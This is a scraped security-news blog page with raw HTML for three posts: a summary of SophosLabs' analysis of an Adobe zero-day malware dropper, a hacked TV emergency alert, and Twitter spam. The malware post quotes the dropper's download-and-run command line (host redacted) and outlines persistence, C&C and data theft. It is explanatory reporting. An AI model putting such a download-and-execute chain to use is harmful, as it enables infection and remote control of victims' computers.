KNOX D3

Adobe Zero-Day Malware Stripped by SophosLabs

<div dir="ltr" style="text-align: left;" trbidi="on"><div style="text-align: left;">      </div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqIuWR3nasw5v_fAK1SouL2fsd5Up_-PP3z9270fFm-Yu9OyzRuyeqcm5IAc0H17N4NpyRY7u8_o-ZBhYMoJNQ9vfmWuqc1kIc5-7znBwKfL3j5UOlzk3n2ZhRsoezLLltG5laqPTsjh0/s1600/adobe.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqIuWR3nasw5v_fAK1SouL2fsd5Up_-PP3z9270fFm-Yu9OyzRuyeqcm5IAc0H17N4NpyRY7u8_o-ZBhYMoJNQ9vfmWuqc1kIc5-7znBwKfL3j5UOlzk3n2ZhRsoezLLltG5laqPTsjh0/s400/adobe.png" width="400" /></a></div><span style="font-family: Arial;">A day has gone by since Fireeye Security Firm claimed to have discovered a zero-day vulnerability affecting Adobe Reader and Acrobat XI softwares.</span><span style="font-family: Arial;"> </span><span style="font-family: Arial;"><u><b>According to Fireeye;</b></u></span><br /><br /><blockquote class="tr_bq"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiN6cBJAwzCm0evbR_xyVtoCgOGxZLTE5MsBliWfVvOKCgtZqfc2GsH8pEy2_EOVj0Ngnq2_zBwxTMw6lskTkvsSTah9dOArLwx-fYCdmUnIdLsIEC32RiTq8w2a8ajngbhavk7Zh-9PrY/s1600/6a00d835018afd53ef017ee877c97d970d-500wi.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><br /></a><span style="font-weight: normal;"><span style="font-family: Arial;">Upon successful exploitation, it will drop two DLLs. The first DLL shows a fake error message and opens a decoy PDF document, which is usually common in targeted attacks. The second DLL in turn drops the callback component, which talks to a remote domain.</span></span></blockquote><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiN6cBJAwzCm0evbR_xyVtoCgOGxZLTE5MsBliWfVvOKCgtZqfc2GsH8pEy2_EOVj0Ngnq2_zBwxTMw6lskTkvsSTah9dOArLwx-fYCdmUnIdLsIEC32RiTq8w2a8ajngbhavk7Zh-9PrY/s1600/6a00d835018afd53ef017ee877c97d970d-500wi.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="77" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiN6cBJAwzCm0evbR_xyVtoCgOGxZLTE5MsBliWfVvOKCgtZqfc2GsH8pEy2_EOVj0Ngnq2_zBwxTMw6lskTkvsSTah9dOArLwx-fYCdmUnIdLsIEC32RiTq8w2a8ajngbhavk7Zh-9PrY/s400/6a00d835018afd53ef017ee877c97d970d-500wi.png" width="400" /></a></div><span style="font-family: Arial;"><span style="font-weight: normal;"><br /></span></span><span style="font-family: Arial;"><span style="font-weight: normal;">Abode, in turn, began to </span>investigate<span style="font-weight: normal;"> this highly-crucial and exasperating matter. The investigation led to an interesting development when SophosLabs was contacted by the concerned companies to do a little digging on their part into the malware. SophosLabs' Gabor Szappanos and Peter Szabo share their intriguing </span>findings<span style="font-weight: normal;">.</span></span><br /><span style="font-family: Arial; font-weight: normal;"></span><br /><a name="more"></a><span style="font-family: Arial; font-weight: normal;"><br /></span><span style="font-family: Arial; font-weight: normal;">The duo begins by saying, "<i>It seems as though we jumped right into the middle of the development and testing phase of the project,</i>" which must refer to the after-math of the exploit.</span><br /><span style="font-family: Arial; font-weight: normal;"><br /></span><span style="font-family: Arial; font-weight: normal;">Gabor and Peter tell us that they discovered a "targeted malware tested, a zero-day vulnerability and some digitally signed malware". These files were different from the rest in terms of how they implemented exploits. These files did not use anti-debugging and anti-anti-virus tricks.</span><span style="font-family: Arial; font-weight: normal;"> </span><span style="font-family: Arial; font-weight: normal;">The malware consisted of "<i>debug builds with debug paths stored in each component</i>". The pathnames seemed to indicate that the files were a part of a classified operation. This technique of deception was to create confusion in the masses; we are certain that a "classified" operation would be a bit more "classified" than what we see here.</span><br /><span style="font-family: Arial; font-weight: normal;"><br /></span><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqbgfk6gQL2E4EB4wASzQ_YHfRCJisMYk0mrHMYEitMFP05V8MbXK_LDQA5c9rLpe4keWSDKnJ2Q9lfr39FWLIMSwwMZundL75cxHd3VeEahNMLswv1skRKxkrA8JjPhqGZ7rge-lDmWM/s1600/fsb-debugnames-486.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="77" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqbgfk6gQL2E4EB4wASzQ_YHfRCJisMYk0mrHMYEitMFP05V8MbXK_LDQA5c9rLpe4keWSDKnJ2Q9lfr39FWLIMSwwMZundL75cxHd3VeEahNMLswv1skRKxkrA8JjPhqGZ7rge-lDmWM/s400/fsb-debugnames-486.png" width="400" /></a></div><span style="font-family: Arial; font-weight: normal;"><br /></span><span style="font-family: Arial; font-weight: normal;">This, seemingly, was a "<i>testing rig operated by a criminal gang to field-test its latest creation</i>". And the malware it comprised off has been seen before and detected by Kaspersky Labs.</span><span style="font-family: Arial; font-weight: normal;"> </span><br /><h3 style="text-align: left;"><span style="font-family: Arial; font-weight: normal;">Discovery of Malware Components</span></h3><span style="font-family: Arial; font-weight: normal;"> </span><span style="font-family: Arial; font-weight: normal;">The attack begins when the attacker emails the victim with a link that the victim will be sure to click on. The link leads to a string of malicious components hosted on a server in Turkey. Your computer is then hacked with an Adobe Flash exploit.</span><span style="font-family: Arial; font-weight: normal;"> </span><span style="font-family: Arial; font-weight: normal;">The incomplete codes and the unusual malware suggests that the cybercrime gang isn't quite done with this particular attack. But SophosLabs managed to contemplate the malware in its entirety. The attack is carried out by first dropping a number of malicious files onto your computer:</span><br /><ol style="text-align: left;"><span style="font-family: Arial; font-weight: normal;"><li>A downloader program, packaged in a file called scode.dll dropped into a directory that's part of your Flash installation, where Flash expects and looks for add-in code</li><li>A shellcode file called scodeexp.txt. (This file is specific to the Windows XP platform.)</li><li>A shellcode file called scode.txt. (This is for computers not running XP.) </li></span></ol><span style="font-family: Arial; font-weight: normal;"></span><span style="font-family: Arial;">Sophos products detect these files as </span><span style="font-family: Arial;">Troj/FSBSpy-A</span><span style="font-family: Arial;">.</span><br /><h3 style="text-align: left;"><span style="font-family: Arial; font-weight: normal;">The Attack Continues</span></h3><span style="font-family: Arial; font-weight: normal;">And the party commences:</span><br /><ol style="text-align: left;"><span style="font-family: Arial; font-weight: normal;"><li>The shellcode loads the scode.dll to take over the dirty work. (A DLL is really just an executable file in a special format.)</li><li>The DLL contains an embedded EXE file, which it drops into the temporary folder with the bogus name taskmgr.exe.</li><li>The DLL launches the newly-dropped taskmgr program with the command line dl http://www.[redacted]/ explorer.exe.</li></span></ol><span style="font-family: Arial; font-weight: normal;"></span><span style="font-family: Arial;"><b><u>According to SophosLab this is How the Malware Operates;</u></b></span><br /><div><span style="font-family: Arial;"><b><u><br /></u></b></span><br /><div><span style="font-family: Arial; font-weight: normal;">The bogus taskmgr executable isn't particularly ambitious. It doesn't check that the first parameter is dl, merely that there is one, and it doesn't bother checking to see if its second parameter really is a URL.</span><br /><span style="font-family: Arial; font-weight: normal;"><br /></span><span style="font-family: Arial; font-weight: normal;">It simply downloads whatever it can from the URL it was given, saving it into the temporary folder and launching it. </span><span style="font-family: Arial; font-weight: normal;">We're still not done. </span><span style="font-family: Arial; font-weight: normal;">When the bogus explorer.exe runs, it copies itself to the startup folder, choosing the rather less dubious name IAStorIcon.exe. </span><span style="font-family: Arial; font-weight: normal;">Now, of course, you're actively infected, and the infection is persistent. (That is a fancy way of saying that your malware survives between logins or reboots, rather than expiring at the end of the current user's session.)</span><br /><span style="font-family: Arial; font-weight: normal;"><br /></span><span style="font-family: Arial; font-weight: normal;">The downloader components were compiled in debug mode, so they contain references to PDB files. PDB stands for <a href="http://msdn.microsoft.com/en-us/library/yd4f8bd1%28v=vs.71%29.aspx"><i><span style="color: windowtext; text-decoration: none; text-underline: none;">Program Database</span></i></a>, which is where symbolic information about the program is stored.</span><span style="font-family: Arial; font-weight: normal;">You don't usually ship debugging information with your software. Firstly, it gives away intimate information about its internals; secondly, it greatly increases the size of your shipping code.</span><span style="font-family: Arial; font-weight: normal;">The names of the PDB files are interesting:</span><br /><span style="font-family: Arial; font-weight: normal;"><br /></span><span style="font-family: Arial; font-weight: normal;">C:\ClassifiedProjects\ ProjectDefense\ FirefoxBinaryLoadedWithCertificate\ LoaderFirefoxSigned\ LoaderReleaseFinalCERT.pdb(in the dropper DLL).</span><br /><span style="font-family: Arial; font-weight: normal;">C:\Classified\ Investigations\ NationalSecurity\ sco.pdb (in the dropper EXE).</span><br /><span style="font-family: Arial; font-weight: normal;"><br /></span><span style="font-family: Arial; font-weight: normal;">As we mentioned above, the names are not merely suggestive of a classified security operation, but indeed <i>overly</i> suggestive. </span><span style="font-family: Arial; font-weight: normal;">It seems unlikely that such an operation would use such obvious filenames, so they're probably just a smokescreen of sorts.</span><br /><span style="font-family: Arial; font-weight: normal;"><br /></span><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfLcKY5x2z8okCIJ6onxvoysQO_AEDMHf-SPiPajTc45bAH5JLX5mH2Bx1a-UszEkN9ZYqB4C5DlRo9LAsiCxNytZ_al3uSRG0NENIXH_pmsWK5YUY4wX-r_RfiSJCnPJRpSC_LCZcI7w/s1600/fsb-cert-486.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfLcKY5x2z8okCIJ6onxvoysQO_AEDMHf-SPiPajTc45bAH5JLX5mH2Bx1a-UszEkN9ZYqB4C5DlRo9LAsiCxNytZ_al3uSRG0NENIXH_pmsWK5YUY4wX-r_RfiSJCnPJRpSC_LCZcI7w/s400/fsb-cert-486.png" width="363" /></a></div><span style="font-family: Arial; font-weight: normal;"><br /></span><span style="font-family: Arial; font-weight: normal;">The malware itself, explorer.exe, is digitally signed with a valid certificate, or at least with a certificate that isn't merely home made, and hasn't expired.</span><span style="font-family: Arial; font-weight: normal;">Sophos products detect files signed with this certificate as Troj/FSBSpy-B, and SophosLabs telemetry indicates that there are at least three more related pieces of malware currently detected in the wild.</span><span style="font-family: Arial; font-weight: normal;"> </span><br /><h3 style="text-align: left;"><span style="font-family: Arial; font-weight: normal;">What the Malware does:</span></h3></div><div><span style="font-family: Arial; font-weight: normal;">The explorer.exe program is a bot (zombie malware). It contacts a Command and Control server using a fixed IP number. This IP belongs to a hosting solution provider in Netherlands.</span></div><div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmcrFsq2xzE-hczEGIMbY8qMNcDXzh0WE3mNy154DSeCtrudpB2B0T5UbmtUXjiq-n_lberhfVnGnYNVZ3HjwoBgPsEkIHK0idBB1jdCJbMZA7I_qBwFoboA8b26d0R50noMwhmwdUxBU/s1600/fsb-hexdump-499.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="272" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmcrFsq2xzE-hczEGIMbY8qMNcDXzh0WE3mNy154DSeCtrudpB2B0T5UbmtUXjiq-n_lberhfVnGnYNVZ3HjwoBgPsEkIHK0idBB1jdCJbMZA7I_qBwFoboA8b26d0R50noMwhmwdUxBU/s400/fsb-hexdump-499.png" width="400" /></a></div><span style="font-family: Arial; font-weight: normal;"><br /></span><span style="font-family: Arial; font-weight: normal;">The malware has three primary objectives:</span></div><div><span style="font-family: Arial; font-weight: normal;"><br /></span><br /><ol style="text-align: left;"><span style="font-family: Arial; font-weight: normal;"><li>It retrieves a basic system inventory.</li><li>It can be remotely commanded to take and upload screenshots.</li><li>It can be remotely commanded to download and run new malware.</li></span></ol><span style="font-family: Arial; font-weight: normal;"></span></div><div><span style="font-family: Arial; font-weight: normal;"><br /></span><span style="font-family: Arial; font-weight: normal;">The bot's handling of new malware downloads is sophisticated as these never appear as files on the disk hence, making them trickier to spot.</span></div><div><span style="font-family: Arial; font-weight: normal;"><br /></span><span style="font-family: Arial;"><b><u>According to SophosLab;</u></b></span></div><div><span style="font-family: Arial;"><b><u><br /></u></b></span><span style="font-family: Arial; font-weight: normal;">The explorer.exe bot has a built-in program loader that constructs an executable software image directly in memory. This loader handles function imports, relocations and more, just like the operating system does when it loads a program from disk.</span></div><div><span style="font-family: Arial; font-weight: normal;"><br /></span><span style="font-family: Arial; font-weight: normal;">Once the new malware download has been built in an executable image in memory, it is called directly. No separate process or thread is created.</span></div><div><h3 style="text-align: left;"><span style="font-family: Arial; font-weight: normal;"> </span><span style="font-family: Arial; font-weight: normal;">What the Malware Steals:</span></h3></div><div><span style="font-family: Arial; font-weight: normal;"><br /></span><span style="font-family: Arial; font-weight: normal;">1.<span style="font-family: 'Times New Roman';">            </span></span><span style="font-family: Arial; font-weight: normal;">CPU type<br /><o:p></o:p></span><span style="font-family: Arial; font-weight: normal;">2.<span style="font-family: 'Times New Roman';">            </span></span><span style="font-family: Arial; font-weight: normal;">memory size<br /><o:p></o:p></span><span style="font-family: Arial; font-weight: normal;">3.<span style="font-family: 'Times New Roman';">            </span></span><span style="font-family: Arial; font-weight: normal;">disk size<br /><o:p></o:p></span><span style="font-family: Arial; font-weight: normal;">4.<span style="font-family: 'Times New Roman';">            </span></span><span style="font-family: Arial; font-weight: normal;">free disk space<br /><o:p></o:p></span><span style="font-family: Arial; font-weight: normal;">5.<span style="font-family: 'Times New Roman';">            </span></span><span style="font-family: Arial; font-weight: normal;">Windows version<br /><o:p></o:p></span><span style="font-family: Arial; font-weight: normal;">6.<span style="font-family: 'Times New Roman';">            </span></span><span style="font-family: Arial; font-weight: normal;">registration details<br /><o:p></o:p></span><span style="font-family: Arial; font-weight: normal;">7.<span style="font-family: 'Times New Roman';">            </span></span><span style="font-family: Arial; font-weight: normal;">user information<br /><o:p></o:p></span><span style="font-family: Arial; font-weight: normal;">8.<span style="font-family: 'Times New Roman';">            </span></span><span style="font-family: Arial; font-weight: normal;">timezone<br /><o:p></o:p></span><span style="font-family: Arial; font-weight: normal;">9.<span style="font-family: 'Times New Roman';">            </span></span><span style="font-family: Arial; font-weight: normal;"><span style="color: windowtext; text-decoration: none; text-underline: none;">SID</span> and<br /><o:p></o:p></span><span style="font-family: Arial; font-weight: normal;">10.<span style="font-family: 'Times New Roman';">        </span></span><span style="font-family: Arial; font-weight: normal;">a list of installed applications.</span></div><div><span style="font-family: Arial; font-weight: normal;"><br /><o:p></o:p></span><span style="font-family: Arial;"><b><u>The gurus write;</u></b></span></div><div><span style="font-family: Arial; font-weight: normal;"><br /></span></div><div><blockquote class="tr_bq"><span style="font-family: Arial; font-weight: normal;">Communications with the C&C server, including uploads and downloads, are encrypted using the AES algorithm; the encryption key is embedded into the bogus explorer.exe.</span><span style="font-family: Arial; font-weight: normal;">The malware also contains code to find files named *tmp in the temporary folder and upload them. However, this code is never used - another indication that the malware is incomplete.</span></blockquote><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1rJLwRRiQmkBvIzlEYRF8Hc9AINQXEZ2Ka9I6_0Uk9ilMQLlPgL2_-zhwZHK2luDgUTpDbpZ85SdHJiSIUstwJgCRzDrM0auVg2JWkjewDwDECzZo1lpOQF3HB71-ihpgvuMPTfqlA0Q/s1600/fsb-startprog-498.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="301" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1rJLwRRiQmkBvIzlEYRF8Hc9AINQXEZ2Ka9I6_0Uk9ilMQLlPgL2_-zhwZHK2luDgUTpDbpZ85SdHJiSIUstwJgCRzDrM0auVg2JWkjewDwDECzZo1lpOQF3HB71-ihpgvuMPTfqlA0Q/s400/fsb-startprog-498.png" width="400" /></a></div><br /><blockquote class="tr_bq"><span style="font-family: Arial; font-weight: normal;">Lastly, the malware is full of debug messages. Indeed, if it is running from process ID 4 (the System process), it annotates its progress with a chatty sequence of alerts, such as I'm going to start the program, in pop-up message boxes.</span></blockquote>Cheers!<br /><br /><div class="MsoNormal" style="background-color: white; color: #333333; font-family: Verdana; font-size: 12px; line-height: 19px; margin-top: 1pt;"><span style="font-family: inherit;"><b><span style="color: #1d1d1d;">About The Author</span></b><span style="color: #2a3339;"><o:p></o:p></span></span></div><div class="MsoNormal" style="background-color: white; color: #333333; font-family: Verdana; font-size: 12px; line-height: 19px; margin-top: 1pt;"><span style="color: #1d1d1d;">This article is written by Sindhia Javed Junejo. She is one of the core members of RHA team.</span></div></div></div></div>

Adobe Zero-Day Malware Stripped by SophosLabs

A day has gone by since Fireeye Security Firm claimed to have discovered a zero-day vulnerability affecting Adobe Reader and Acrobat X...

+ Read more »

TV Channels Hacked To Broadcast Zombie Apocalypse Emergency Alert

<div dir="ltr" style="text-align: left;" trbidi="on"><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIxZHcQ5KbwFGwptJ9uVkPNTMaGHW8XqWwHDgBIwDI04oXbp9MSwS1E7V1SbB4k0uertb1N7srybsiDmwKSo4OnhyjzfT8jDMlH7M07yGjK-EmTKY8iPph9P_lTgrvYGncXInoNHJHzNQ/s1600/zombie-apocalypse.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIxZHcQ5KbwFGwptJ9uVkPNTMaGHW8XqWwHDgBIwDI04oXbp9MSwS1E7V1SbB4k0uertb1N7srybsiDmwKSo4OnhyjzfT8jDMlH7M07yGjK-EmTKY8iPph9P_lTgrvYGncXInoNHJHzNQ/s640/zombie-apocalypse.jpg" width="577" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><br /></div><div style="background-color: white; border: 0px; color: #333333; font-family: arial, helvetica, sans-serif; font-size: 15px; margin-bottom: 10px; padding: 0px; text-align: -webkit-auto; vertical-align: baseline;">What would you do if you were watching your favourite TV show and it was interrupted by an Emergency Broadcast claiming that Zombies have "finally" takeover the world? Run. Hide. Lock yourself in your Panic Room? The possibilities are endless and frankly, our personal choice would be to go insane for a single day! Steal a Ferrari and drive off into the sunset with the woofers blaring with "It's my life". Ah, the fantasy that never fades.<br /><br /><a name="more"></a></div><div style="background-color: white; border: 0px; color: #333333; font-family: arial, helvetica, sans-serif; font-size: 15px; margin-bottom: 10px; padding: 0px; text-align: -webkit-auto; vertical-align: baseline;">It turns out that Public TV 12 and KRTV (CBS affiliate) were hacking into and their Emergency Alert System was abused to its fullest capabilities. Here's a glimpse of what the common masses had to bear after the hack:</div><blockquote class="tr_bq"><tt style="background-color: transparent; border: 0px; font-family: courier, monospace; font-size: 14px; margin: 0px; padding: 0px; vertical-align: baseline;">"Civil authorities in your area have reported that the bodies of the dead are rising from their graves and attacking the living. Follow the messages onscreen that will be updated as information becomes available. Do not attempt to apprehend or approach these bodies as they are considered extremely dangerous.</tt>  </blockquote><blockquote class="tr_bq"><tt style="border: 0px; font-family: courier, monospace; font-size: 14px; margin: 0px; padding: 0px; vertical-align: baseline;">"I repeat, civil authorities in your area have reported that the bodies of the dead are rising from their graves and attacking the living. Do not attempt to apprehend or approach these bodies as they are considered extremely dangerous.</tt> </blockquote><blockquote class="tr_bq"><tt style="background-color: transparent; border: 0px; font-family: courier, monospace; font-size: 14px; margin: 0px; padding: 0px; vertical-align: baseline;"></tt><tt style="background-color: transparent; border: 0px; font-family: courier, monospace; font-size: 14px; margin: 0px; padding: 0px; vertical-align: baseline;">"This warning applies to all areas receiving this broadcast. Tune into 920AM to get information in the event you are separated from your television or if electrical services are interrupted.</tt> </blockquote><blockquote class="tr_bq"><tt style="background-color: transparent; border: 0px; font-family: courier, monospace; font-size: 14px; margin: 0px; padding: 0px; vertical-align: baseline;"></tt><span style="background-color: transparent; font-family: courier, monospace; font-size: 14px;">"This station will now cease transmission, so please use your battery-powered radio. Tune into 920AM for information."</span></blockquote><div style="background-color: white; border: 0px; color: #333333; font-family: arial, helvetica, sans-serif; font-size: 15px; margin-bottom: 10px; padding: 0px; text-align: -webkit-auto; vertical-align: baseline;"><br />In case you are still wondering, there was no zombie apocalypse to the dismay of many. No one woke up in a vacated hospital with flickering lights to find out that they were the last few survivors on the face of the earth. Yes, we are referring to The Walking Dead series. KRTV has already <a href="http://www.krtv.com/news/bogus-emergency-alert-message-transmitted/" target="_blank">published</a> an apology following the events.</div><div style="background-color: white; border: 0px; color: #333333; font-family: arial, helvetica, sans-serif; font-size: 15px; margin-bottom: 10px; padding: 0px; text-align: -webkit-auto; vertical-align: baseline;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6AwwVXKhJxROJvOYhgQX2xmMrZakM1BlZcP6HHqRevYCLSy4yenyf3DEcfwXkHfRkDox6t_eBStJW4ZBBWyGBaKCVj1_A7R-PkMwuDaCkAB5xX45Iz9fHT0RVUW8id0W5M1Tf6jaPUos/s1600/krtv.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6AwwVXKhJxROJvOYhgQX2xmMrZakM1BlZcP6HHqRevYCLSy4yenyf3DEcfwXkHfRkDox6t_eBStJW4ZBBWyGBaKCVj1_A7R-PkMwuDaCkAB5xX45Iz9fHT0RVUW8id0W5M1Tf6jaPUos/s400/krtv.jpg" width="386" /></a></div><div style="background-color: white; border: 0px; color: #333333; font-family: arial, helvetica, sans-serif; font-size: 15px; margin-bottom: 10px; padding: 0px; text-align: -webkit-auto; vertical-align: baseline;"><br /></div><div style="background-color: white; border: 0px; color: #333333; font-family: arial, helvetica, sans-serif; font-size: 15px; margin-bottom: 10px; padding: 0px; text-align: -webkit-auto; vertical-align: baseline;">We don't know how the hackers trespassed into the system to broadcast the emergency alert on the TV stations but the investigation into the matter shall provide more answers to this mystery in a few days. That is if we survive the "Zombie Apocalypse".</div><div style="background-color: white; border: 0px; color: #333333; font-family: arial, helvetica, sans-serif; font-size: 15px; margin-bottom: 10px; padding: 0px; text-align: -webkit-auto; vertical-align: baseline;">Although, we condemn such acts of hacking into TV stations to broadcast fake news alerts that could also lead to misleading people and creating riots on streets but the hacker inside us has to chuckle for the more obvious (not ethical) reasons.</div><div style="background-color: white; border: 0px; color: #333333; font-family: arial, helvetica, sans-serif; font-size: 15px; margin-bottom: 10px; padding: 0px; text-align: -webkit-auto; vertical-align: baseline;">Cheers!</div><div style="background-color: white; border: 0px; color: #333333; font-family: arial, helvetica, sans-serif; font-size: 15px; margin-bottom: 10px; padding: 0px; text-align: -webkit-auto; vertical-align: baseline;"></div><div dir="ltr" style="font-family: Verdana; font-size: 12px; line-height: 19px; text-align: left;" trbidi="on"><div class="MsoNormal" style="background-color: white; margin-top: 1pt;"><span style="font-family: inherit;"><b><span style="color: #1d1d1d;">About The Author</span></b><span style="color: #2a3339;"><o:p></o:p></span></span></div><div class="MsoNormal" style="background-color: white; margin-top: 1pt;"><span style="color: #1d1d1d;">This article is written by Sindhia Javed Junejo. She is one of the core members of RHA team.</span></div><div><span style="color: #1d1d1d;"><br /></span></div></div><div dir="ltr" style="font-family: Verdana; font-size: 12px; line-height: 19px; text-align: left;" trbidi="on"></div><br /></div>

TV Channels Hacked To Broadcast Zombie Apocalypse Emergency Alert

What would you do if you were watching your favourite TV show and it was interrupted by an Emergency Broadcast claiming that Zombies have ...

+ Read more »

Pope Benedict's Resignation Spurs Spam On Twitter

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><br /></div><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGDpzZHPYCtW0SHWgRqHlvvsATFx-wQc2F6BYCUjPF11j3aqfIEAVe0HG_7CyDSmsxjtv0MDIAAfjvJRF33kjKs2mLIwBlOXqti3G1OLGtH7dKCPM_QNRUlFtPawMkg2NGLjilBUuynK0/s1600/95549601-holy-tweets.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="315" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGDpzZHPYCtW0SHWgRqHlvvsATFx-wQc2F6BYCUjPF11j3aqfIEAVe0HG_7CyDSmsxjtv0MDIAAfjvJRF33kjKs2mLIwBlOXqti3G1OLGtH7dKCPM_QNRUlFtPawMkg2NGLjilBUuynK0/s400/95549601-holy-tweets.jpg" width="400" /></a></div><br /><br />Pope Benedict XVI decided to resign today and as soon as the news broke out so did the spam on Twitter. Spammers began to post messages with hashtag #pope on Twitter which were completely unrelated to the first Papal resignation in centuries.<br /><br />Imagine a religious affair turning into ashes of ridicule as these tweets are being posted from accounts featuring young women who aren't as "decent" as the Catholic devotees who are following @Pontifex would want them to be.<br /><br /><a name="more"></a><br />Twitter finds itself in such awkward positions too often for our inconvenience. As soon as a news breaks out or a topic becomes too-hot-to-handle, all the spammers in the world turn to it to use it to their advantage. Too often then not, followers of a particular topic click on the link provided by these spammers instead of legitimate ones.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgllsdI6rvizXL5kOS3j96sKfyE6kgIhD0CH1wkpDhS7zJZjow0Hr_H0SKnJQreJcgjrd-KbW09UMew4HF4TLjzBEmUw2hmBAWXFAMWRW5G9YvYYaoeX665ZeLl0tBgs7VbbCznFEiwevI/s1600/pope-spam1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgllsdI6rvizXL5kOS3j96sKfyE6kgIhD0CH1wkpDhS7zJZjow0Hr_H0SKnJQreJcgjrd-KbW09UMew4HF4TLjzBEmUw2hmBAWXFAMWRW5G9YvYYaoeX665ZeLl0tBgs7VbbCznFEiwevI/s320/pope-spam1.jpg" width="257" /></a></div><br />These accounts are fake and are basically automated bots controlled by a spammer who may have hundreds of bogus accounts. We are hoping that you are one of the people who understand that there isn't a young women operating these accounts. If you aren't then we would suggest more frequent visits to RHA. Read a little.<br /><br />These examples are designed to make money through affiliated sites. These links are infected with malware and phishing sites. By using trending topics, spammers and cybercriminals drive traffic into their sites. This helps them to hack accounts and, in the long run, identities.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOTxdqf00_nbOMMiaoMIgDUMA-_oMryLzGNr07GW63XfG-WHNKegnlK5gGf-Q6REJxmbreprpPGpnHadOG1jUtvGHB7xBVcXbQQJXy6wSBLyjtc3uULw3mHokHqYz-aPxZUySZybW83jI/s1600/pope-spam-3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="207" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOTxdqf00_nbOMMiaoMIgDUMA-_oMryLzGNr07GW63XfG-WHNKegnlK5gGf-Q6REJxmbreprpPGpnHadOG1jUtvGHB7xBVcXbQQJXy6wSBLyjtc3uULw3mHokHqYz-aPxZUySZybW83jI/s320/pope-spam-3.jpg" width="320" /></a></div><br />If you find an account that is tweeting spam please report it to Twitter so that they can take appropriate actions against it. However, this cat-and-mouse game isnt about to end anytime soon. Twitter's security team is fighting against spammers but the other team is hitting back and hard.<br /><br />Cheers!<br /><br /><div class="MsoNormal" style="background-color: white; color: #333333; font-family: Verdana; font-size: 12px; line-height: 19px; margin-top: 1pt;"><span style="font-family: inherit;"><b><span style="color: #1d1d1d;">About The Author</span></b><span style="color: #2a3339;"><o:p></o:p></span></span></div><div class="MsoNormal" style="background-color: white; color: #333333; font-family: Verdana; font-size: 12px; line-height: 19px; margin-top: 1pt;"><span style="color: #1d1d1d;">This article is written by Sindhia Javed Junejo. She is one of the core members of RHA team.</span></div></div>

Pope Benedict's Resignation Spurs Spam On Twitter

Pope Benedict XVI decided to resign today and as soon as the news broke out so did the spam on Twitter. Spammers began to post messages with...

+ Read more »

Chat Malware - Skype and MSN Messenger Affected

